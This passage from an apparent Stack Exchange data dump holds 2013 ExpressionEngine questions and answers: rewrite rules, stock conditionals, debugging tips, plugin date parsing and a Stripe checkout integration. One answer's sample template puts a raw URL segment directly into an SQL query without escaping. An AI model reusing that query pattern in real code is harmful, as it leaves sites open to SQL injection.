%{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{HTTPS} on&#xA;RewriteRule ^(.*)$ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&#xA;RewriteCond %{REQUEST_URI} (extranet)&#xA;RewriteCond %{HTTPS} !=on&#xA;#RewriteCond %{SERVER_PORT} !^443$&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&#xA;# Remove index.php from URLs&#xA;RewriteCond $1 !(^index\.php|(\.(gif|jpe?g|png|css|js)))$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-03-23T14:24:07.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7660" PostTypeId="1" AcceptedAnswerId="7662" CreationDate="2013-03-23T15:30:17.940" Score="1" ViewCount="132" Body="&lt;p&gt;I know how to make the stock show as 'in stock' or 'out of stock' by using:&#xA;{if total_stock} In Stock {if:else} Out of Stock {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I code the following:&#xA;&quot;In stock&quot; if we have more than 5 items available, &quot;Low stock&quot; if we only have 5 and under or &quot;Out of stock&quot; if we are sold out&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-03-23T15:58:16.393" Title="Expresso Store Stock Conditionals" Tags="|expresso-store|ee2|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7661" PostTypeId="2" ParentId="7657" CreationDate="2013-03-23T15:45:13.160" Score="2" Body="&lt;p&gt;Use &lt;code&gt;{if selected}{/if}&lt;/code&gt; inside your &lt;code&gt;{item_options}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-23T15:45:13.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7662" PostTypeId="2" ParentId="7660" CreationDate="2013-03-23T15:47:05.693" Score="2" Body="&lt;p&gt;You would want to do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 5}&#xA;In Stock&#xA;{if:elseif total_stock &amp;lt;= 5 &amp;amp;&amp;amp; total_stock != 0}&#xA;Low Stock&#xA;{if:else}&#xA;Out of Stock&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;EE User Guide&lt;/a&gt; has all of the other operators you can use.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-03-23T15:58:16.393" LastActivityDate="2013-03-23T15:58:16.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7663" PostTypeId="2" ParentId="7589" CreationDate="2013-03-23T16:46:29.780" Score="1" Body="&lt;p&gt;Sounds like there might be a PHP error occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, turn on debugging in the CP by enabling &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot; rel=&quot;nofollow&quot;&gt;Display Output Profiler&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-template-debugging&quot; rel=&quot;nofollow&quot;&gt;Display Template Debugging&lt;/a&gt;&lt;/strong&gt;. When you reload the page, you will see debugging info at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then check the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you are logged in as a Super Admin user&lt;/li&gt;&#xA;&lt;li&gt;Make sure &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#debug-preference&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Debug Preference&lt;/strong&gt;&lt;/a&gt; is set to &quot;PHP/SQL error messages shown only to Super Admins&quot;&lt;/li&gt;&#xA;&lt;li&gt;In your config.php change $config['log_threshold'] = 0; to $config['log_threshold'] = 4;&lt;/li&gt;&#xA;&lt;li&gt;In you config.php make sure $debug = 1; is set&lt;/li&gt;&#xA;&lt;li&gt;Check your php error logs&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This article is also a good read for tracking down issues in EE:&lt;br&gt;&#xA;&lt;a href=&quot;http://focuslabllc.com/blog/troubleshooting-expressionengine&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Troubleshooting ExpressionEngine&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-23T16:46:29.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7664" PostTypeId="2" ParentId="7616" CreationDate="2013-03-23T17:15:00.000" Score="0" Body="&lt;p&gt;So after further investigation including completely reinstalling EE I found the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my config.php file I had added the following which I've used in several other sites. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add-on themes path&#xA;$config['path_third_themes'] = '/path/to/public_html/addons/themes/';&#xA;$config['url_third_themes'] = '/addons/themes/';&#xA;&#xA;// add-on system path&#xA;$config['third_party_path'] = '/path/to/public_html/addons/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue was with url_third_themes - I've always used a relative url but I'm working on a new server this time and the new server does not like relative urls here. Once I added in the full url including http:// everything was working as expected.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-03-23T17:15:00.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7666" PostTypeId="1" CreationDate="2013-03-23T21:52:48.200" Score="6" ViewCount="229" Body="&lt;p&gt;Is there a way to configure the Assets file browser in a SafeCracker form to only show assets for the currently logged-in member?&lt;/p&gt;&#xA;" OwnerUserId="1225" LastEditorUserId="959" LastEditDate="2013-04-18T00:44:45.260" LastActivityDate="2014-08-18T17:53:49.547" Title="SafeCracker + Assets: Restrict file browser to display logged-in member's files only." Tags="|assets|safecracker|members|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7667" PostTypeId="2" ParentId="7658" CreationDate="2013-03-23T23:11:30.763" Score="2" Body="&lt;p&gt;Personally, I think using categories would be a nightmare. Especially when you consider how frequently, this type of data is updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain where you are getting your data from, but the best option is to store it in new data table within your EE install, and query it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We haven't had to do lots of countries, but we had to do a State -&gt; County -&gt; City -&gt; Zip Codes set-up for a service directory for a client, before. We downloaded a US Zip Codes database with Counties to use. It's updated annually, I believe. But I'd look at &lt;a href=&quot;http://www.maxmind.com&quot; rel=&quot;nofollow&quot;&gt;MaxMind&lt;/a&gt; products for your situation. The have a free &lt;a href=&quot;http://www.maxmind.com/en/worldcities&quot; rel=&quot;nofollow&quot;&gt;World Cities&lt;/a&gt; database. It's stored as common separated text, and can be uploaded to a MySQL table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then use a combination of url segments, PHP in template, and EE Queries to produce the drill down. Our's is really all about the 'counties', but you could adapt for 'countries'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $county=''; ?&amp;gt;&#xA;&#xA;{exp:query sql=&quot;&#xA;    SELECT DISTINCT county, city, state &#xA;    FROM counties&#xA;    WHERE state='{segment_3}' &#xA;        ORDER BY county ASC, city ASC;&#xA;&quot;}&#xA;&#xA;&amp;lt;?php if ($county != '{county}') &#xA;   echo '&amp;lt;h5&amp;gt;{county} County  &amp;lt;span align=&quot;right&quot;&amp;gt;&amp;lt;small&amp;gt;(&amp;lt;a href=&quot;{domain}/location/county/{county}/&quot; title=&quot;View all of {county} County&quot;&amp;gt;view county&amp;lt;/a&amp;gt;)&amp;lt;/small&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h5&amp;gt;'; ?&amp;gt;  &#xA;&#xA;       &amp;lt;a href=&quot;{domain}/location/{state}/{city}/&quot; title=&quot;{city}&quot;&amp;gt;{city}&amp;lt;/a&amp;gt;, &#xA;&#xA;&amp;lt;?php $county='{county}'; ?&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That template, then leads to a listing of cities in the county, and people select a city to display services. I'd provide the sample code for that, except, it's more complicated, because our services by city are then broken down by category. So we had to related the city listing to the categories database, to create, so it's more code than you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have both a list and a map implementation, which was fairly easy to do, you just need to make sure every record contains the fields you need. For us, that meant adding 'county' to the normal address field, so our addresses, were&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{project}&#xA;{street_address}&#xA;{city}, {state} {zip code}&#xA;{county}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your's would need to include region, and country. We go back and update the client's zip_codes with counties database once a year. The segment searches are very quick, because the extra table is indexed, and the query module will allow you to access any tabled stored in the database used for EE.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-23T23:11:30.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7669" PostTypeId="1" CreationDate="2013-03-24T12:39:43.447" Score="2" ViewCount="369" Body="&lt;p&gt;Using Expresso Store and Stripe, I'm getting a conflict with either the naming convention of Expresso Store and stripe.js stripeResponseHandler, or my jQuery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passing &quot;user&quot; details is null upon submit to Stripe.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Expresso Store post details via firebug:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XID 7db7d1ad91f9fa13deeb13de67c784226ed345e7&#xA;billing_address 1   243 Blank Rd&#xA;billing_address2    &#xA;billing_address3     Blastoff&#xA;billing_country us&#xA;billing_name    Denny Test&#xA;billing_phone   330-000-0000&#xA;billing_postcode     44231&#xA;billing_region  OH&#xA;form_name   &#xA;next    Confirm Order&#xA;next_url    store/confirm-stripe&#xA;order_email somth@gmail.com&#xA;return_url  store/details&#xA;secure_return   1&#xA;shipping_address1   &#xA;shipping_address2   &#xA;shipping_address3   &#xA;shipping_country    us&#xA;shipping_name   &#xA;shipping_phone  &#xA;shipping_postcode   44281&#xA;shipping_region OH&#xA;shipping_same_as_billing    0&#xA;shipping_same_as_billing    1&#xA;site_id 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Response handler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function stripeResponseHandler(status, response) {&#xA;    $(&quot;#checkout_submit&quot;).attr('disabled', false);&#xA;    if (response.error) {&#xA;      alert(response.error.message);&#xA;    } else {&#xA;     var token = response['id'];&#xA;     var form$ = $(&quot;#payment_token&quot;);&#xA;      $(form$).val(token);&#xA;     form$.append(&quot;&amp;lt;input type='hidden' name='stripeToken' value='&quot; + token + &quot;'/&amp;gt;&quot;);&#xA;      $(&quot;#checkout_submit&quot;).unbind(&quot;click&quot;).click();&#xA;&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the response in Stripe:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object: &quot;card&quot;&#xA;last4: &quot;4444&quot;&#xA;type: &quot;MasterCard&quot;&#xA;exp_month: 1&#xA;exp_year: 2014&#xA;fingerprint: &quot;3HSdYop7eOmsdo3a&quot;&#xA;country: &quot;US&quot;&#xA;name: &quot;Denny Test&quot;&#xA;address_line1: &quot;undefined&quot;&#xA;address_line2: &quot;undefined&quot;&#xA;address_city: null&#xA;address_state: null&#xA;address_zip: &quot;undefined&quot;&#xA;address_country: null&#xA;cvc_check: &quot;pass&quot;&#xA;address_line1_check: &quot;pass&quot;&#xA;address_zip_check: &quot;pass&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1224" LastEditorUserId="1224" LastEditDate="2013-03-25T02:59:54.470" LastActivityDate="2013-03-25T02:59:54.470" Title="Expresso Store Stripe integration - Passing shipping details to Stripe null" Tags="|expresso-store|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7670" PostTypeId="1" AcceptedAnswerId="7672" CreationDate="2013-03-24T17:18:28.827" Score="3" ViewCount="187" Body="&lt;p&gt;I'm trying to support date formatting of a tag's output, per the Plugin Development &amp;amp; Template Class documentation. I have this code on the backend, with some redundancy on the timestamp value to ensure that, yes, this is a timestamp!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$append = array(&#xA;        'timestamp' =&amp;gt; strtotime(date('Y-m-d H:i:s',$row['timestamp'])),&#xA;        'username' =&amp;gt; $row['username'],&#xA;        'screen_name' =&amp;gt; $row['screen_name'],&#xA;        'email' =&amp;gt; $row['email']&#xA;    );&#xA;$output .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $append);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use the tag &lt;code&gt;{timestamp}&lt;/code&gt; in my template, I get the timestamp value: 1363956000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;{timestamp format=&quot;%l, %F %j, %Y - %g:%i %A&quot;}&lt;/code&gt; in my template, the output is: &lt;code&gt;{timestamp format=&quot;%l, %F %j, %Y - %g:%i %A&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the docs, this should just work, though – &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#date-variables&quot; rel=&quot;nofollow&quot;&gt;Template Class/Date Variables&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you support formatting of timestamp values in a plugin's output?&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-24T17:43:52.817" LastActivityDate="2013-03-25T18:14:04.970" Title="Plugin development: How do you support date formatting in parse_variables?" Tags="|templates|add-on-development|plugin|date-format|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7671" PostTypeId="2" ParentId="7670" CreationDate="2013-03-24T18:23:26.867" Score="1" Body="&lt;p&gt;Following @Dom Stubbs' recommendation I used gmmktime(), it said it was type:int:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'timestamp' =&amp;gt; gmmktime(date('H',$row['timestamp']),&#xA;    date('i',$row['timestamp']),&#xA;    date('s',$row['timestamp']),&#xA;    date('m',$row['timestamp']),&#xA;    date('d',$row['timestamp']),&#xA;    date('Y',$row['timestamp'])&#xA;    ),&#xA;        'username' =&amp;gt; $row['username'],&#xA;        'screen_name' =&amp;gt; $row['screen_name'],&#xA;        'email' =&amp;gt; $row['email']&#xA;    );&#xA;var_dump($append);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further following Dom's recommendation, switching to &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row&lt;/code&gt; instead of &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables&lt;/code&gt; is returning the correct value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was then able to switch back to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$append = array(&#xA;        'timestamp' =&amp;gt; $row['timestamp'],&#xA;        'username' =&amp;gt; $row['username'],&#xA;        'screen_name' =&amp;gt; $row['screen_name'],&#xA;        'email' =&amp;gt; $row['email']&#xA;    );&#xA;$output .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $append);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks, Dom!&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-24T18:23:26.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7672" PostTypeId="2" ParentId="7670" CreationDate="2013-03-24T18:30:38.810" Score="2" Body="&lt;p&gt;It looks as though you're passing a single row to &lt;code&gt;parse_variables&lt;/code&gt; (which normally expects an array of rows). If you switch to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-a-single-result-row&quot; rel=&quot;nofollow&quot;&gt;parse_variables_row&lt;/a&gt; that should help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may also parse the result rows yourself, which could be useful if for some reason you need to modify the tagdata for each row based on certain criteria. You can still benefit from the simplified variable parsing by using parse_variables_row(), though you will no longer automatically have {count}, {total_results}, or {switch=} variables. To include these variables when parsing your own result rows, you will need to add them yourself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you'd prefer to retain &lt;code&gt;count&lt;/code&gt;, &lt;code&gt;total_results&lt;/code&gt; etc then you can also easily tweak your existing code by wrapping &lt;code&gt;$append&lt;/code&gt; in its own array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, array($append));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-03-25T18:14:04.970" LastActivityDate="2013-03-25T18:14:04.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7673" PostTypeId="2" ParentId="7669" CreationDate="2013-03-24T20:51:40.620" Score="2" Body="&lt;p&gt;I solved the issue in case anyone is looking for the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The jQuery stripeResponseHandler:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          Stripe.createToken({&#xA;        name: $(&quot;#payment_name&quot;).val(),&#xA;        number: $(&quot;#payment_card_no&quot;).val(),&#xA;        cvc: $(&quot;#payment_card_csc&quot;).val(),&#xA;        exp_month: $(&quot;#payment_exp_month&quot;).val(),&#xA;        exp_year: $(&quot;#payment_exp_year&quot;).val(), &#xA;        address_line1: $('#billing_address1').val(),&#xA;        address_line2: $('#billing_address2').val(),&#xA;        address_zip: $('#billing_postcode').val(),&#xA;        address_state: $('#billing_region').val(),&#xA;        address_country: $('#billing_country').val()&#xA;      }, stripeResponseHandler);&#xA;&#xA;&#xA;      return false;&#xA;    }&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The long and short  of it is, you have to declare the values when creating the token in jQuery.  Also, the input values you're looking to pass to Stripe have to be either included in the form of the actual fields or hidden values within the page you're submitting from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my case using Expresso Store:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset id=&quot;billing_details&quot; style=&quot;width:50%; float:left;&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_name} {error:billing_name}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address1} {error:billing_address1}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address2} {error:billing_address2}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_address3}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_address3} {error:billing_address3}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_postcode} {error:billing_postcode}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_region}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_region&quot;&amp;gt;Region&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_region} {error:billing_region}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_country} {error:billing_country}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:billing_phone}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:billing_phone} {error:billing_phone}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group clearfix {if error:order_email}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {field:order_email} {error:order_email}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Shipping Details&amp;lt;/legend&amp;gt;&#xA;&amp;lt;div style=&quot;margin: 0 0 0 40px;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_name} {error:shipping_name}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_address1} {error:shipping_address1}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_address2} {error:shipping_address2}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_address3}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_address3} {error:shipping_address3}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_postcode} {error:shipping_postcode}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_region}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_region&quot;&amp;gt;Region&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_region} {error:shipping_region}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_country} {error:shipping_country}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group clearfix {if error:shipping_phone}error{/if}&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {field:shipping_phone} {error:shipping_phone}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group clearfix&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                    {field:shipping_same_as_billing} Same as Billing Details&#xA;                &amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2013-03-24T20:51:40.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7674" PostTypeId="1" CreationDate="2013-03-24T21:36:58.510" Score="2" ViewCount="26530" Body="&lt;p&gt;I've come across a form that, on the rendered page, looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;mx_locator&quot; name=&quot;mx_locator&quot; method=&quot;post&quot; action=&quot;search-results&quot;&amp;gt;&#xA;&#xA;  &amp;lt;!-- form elements --&amp;gt;&#xA;  &amp;lt;span&amp;gt;&amp;lt;input type=&quot;image&quot; src=&quot;/images/search.png&quot; onclick=&quot;loader()&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form itself, in the template code, looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_google_map:form result_page = &quot;search-results&quot; log=&quot;&quot; lat=&quot;&quot; unit = &quot;&quot; backspace=&quot;1&quot;}&#xA;  {embed=&quot;site/sidebar_search&quot;}&#xA;{/exp:mx_google_map:form} 